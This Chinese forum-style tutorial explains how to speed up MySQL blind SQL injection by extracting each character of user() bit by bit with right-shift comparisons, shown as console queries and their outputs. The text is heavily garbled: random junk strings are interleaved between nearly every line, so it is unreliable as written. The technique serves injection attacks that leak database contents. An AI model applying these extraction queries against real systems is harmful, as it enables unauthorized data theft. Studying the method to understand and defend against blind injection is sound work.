关于通过对8bit的ascii做右位移提高mysql盲注效率

admin

通过这种方法我们只需要做8次select来确定一个键值的第一位或第n位
% W' Y# W+ q: W
5 k% [5 l, [/ M$ V" k

# ~$ @1 N1 p4 q! l5 G下面将以查询mysql数据库当中user()的第一位为例:
2 L* V! v: ~3 l5 V# a- L: _+ [! M

' y# V, z$ e; k: N( y3 I' u$ U' l# B
ps:第二位,第三位依次类推 select substr(user(),2,1) mysql> select substr(user(),3,1)
' d7 E5 s$ x$ B$ K/ W% }0 c* G


$ y3 g8 F1 q! ~5 L2 }7 i1 [首先执行如下sql语句:



4 x* n1 D- w  U! Rmysql> select (ascii((substr(user(),1,1))) >> 7)=0;


1 w# d  f. }$ W& C
我们将对这个8bit的ascii也就是user()的第一位做7次右偏移,也就是偏移到8bit的ascii的
6 I7 Q7 L- Y6 r! u' _% H


第一位并与0做等运算,如果,运算结果为0 说明第一位不为0,也就为1
0 K( P& y5 u# ~9 [% o: V

% z9 M: }' e/ U/ S
4 @+ h( W, ^2 C/ _' a5 O: S) Q如果运算结果为1,说明第一位为0,不为1
* d3 o+ e- h( V
! [, a$ I& j: P7 d7 N* e

3 B6 i3 P# I2 R* Q" Z8 I- @8 g% A+————————————–+
7 ]- O2 e% e; B  b+ _
& R) k9 ]  C/ ^% p| (ascii((substr(user(),1,1))) >> 7)=0 |

+————————————–+
* ~$ i6 v6 h& K: L1 ]2 e
) V. e# p! k" \7 F  ]1 {5 ]2 v2 j: v| 1 |
6 s( }& G, |3 j1 @; o
+————————————–+

1 row in set (0.00 sec)

9 `. p& r5 l- i% V* m9 P这样我们就确定这个8bit的ascii的第一位为0


! x# z- }- a% M3 w8 \2 c5 w
% x! Y& Z  I0 d第二次我们来做6次右偏移来确定前两位

' P3 G) H, J* I1 \

- Q5 r& w# g3 ~' B. F% G前两位可能是01或00,即依然可以与0做比较,
* [7 ?6 s2 V$ m4 S
4 J- K# y5 K: a: t% ]mysql> select (ascii((substr(user(),1,1))) >> 6)=0;

+————————————–+

| (ascii((substr(user(),1,1))) >> 6)=0 |
7 i/ s: U8 v1 v; D
+————————————–+
" q& g4 w* @( q5 q0 f+ Z
. O! M  Q- G$ t0 ?| 0 |
' v1 [# C2 B& o# E+ ?
1 c$ Q9 P$ s+ W! M. b5 V+————————————–+

1 row in set (0.00 sec)

$ E* D2 U. ~6 n# o
' q! B- o% Z1 h; Q$ t
结果为0,即第二位为1

9 ^* B9 _+ R# S) ^- u7 X: g4 t* U

8 S, `( r: N+ d* m: Q, r! a开始猜测前三位为010或011
4 [+ E! K5 F9 Q) E( Z
' y1 K6 N9 k# R. C& {6 B# @
1 ?4 Y0 g5 j  ]! Y# ], r0 o
: m1 E7 E9 @, O  j8 T' B/ I让我们看看010和011的ascii码是多少



分别查询select b’011′ select b’010′

. E) C1 e$ y$ ?! }$ K( j8 f
$ p: r" O0 W$ K' X1 X- W
获得结果 010 = 2 011 = 3
# o3 p! [. W% z/ o# Z$ S
+ F7 F* a, h) b9 P" i& A: C2 J
$ @; d; h7 d8 c! ^
  s% W$ q8 N5 G执行如下sql:

! _5 K" c% B2 r) x) ~# B8 ^% x  @

mysql> select (ascii((substr(user(),1,1))) >> 5)=2;
- k/ ], j1 x" V1 H; I5 q
+————————————–+
" y! K- U8 B- C, u/ r+ Y: V0 P
( O& G* ^0 R7 h0 y: j| (ascii((substr(user(),1,1))) >> 5)=2 |

0 E7 z( }9 r3 E+————————————–+

| 0 |
& \! U/ `/ T  v$ Z% o+ y
+————————————–+
( ?: `) v& p4 o
即前三位不为010,而是011


3 r. @  X7 v% A! e$ E7 x
直到获得最后一位

9 e/ _$ ?% S0 _" ?! \

" C: n" v( K9 o8 W- k最终结果为:01110010

" A; O9 M5 X! Q3 k* x$ p+ G: r
5 M# K$ \, I; V
转换一下:



select b’01110010′
- r9 R- m3 w" ~1 A- P/ o
& c! n/ h" _# g" i

查询结果

# x2 J8 ~- K1 v3 E* o; W

. c2 B4 E. i8 c7 z) F% K, z' a: ?+————-+
3 S( e0 F4 \$ U" e
| b’01110010′ |
5 E! D% j' p0 p2 E
7 }% A# P6 D' Z; @' S: J+————-+

9 j1 v! K6 z0 s$ t9 A| r |
0 G% U/ F0 `  k) \! T% k
2 W, w- X) T! B5 B3 `+————-+

1 row in set (0.00 sec)


: K. W* _7 w1 s/ j) M% {
这样我们就获得了user()的第一位.其它位依此类推

  I% f3 O0 `" f7 I6 g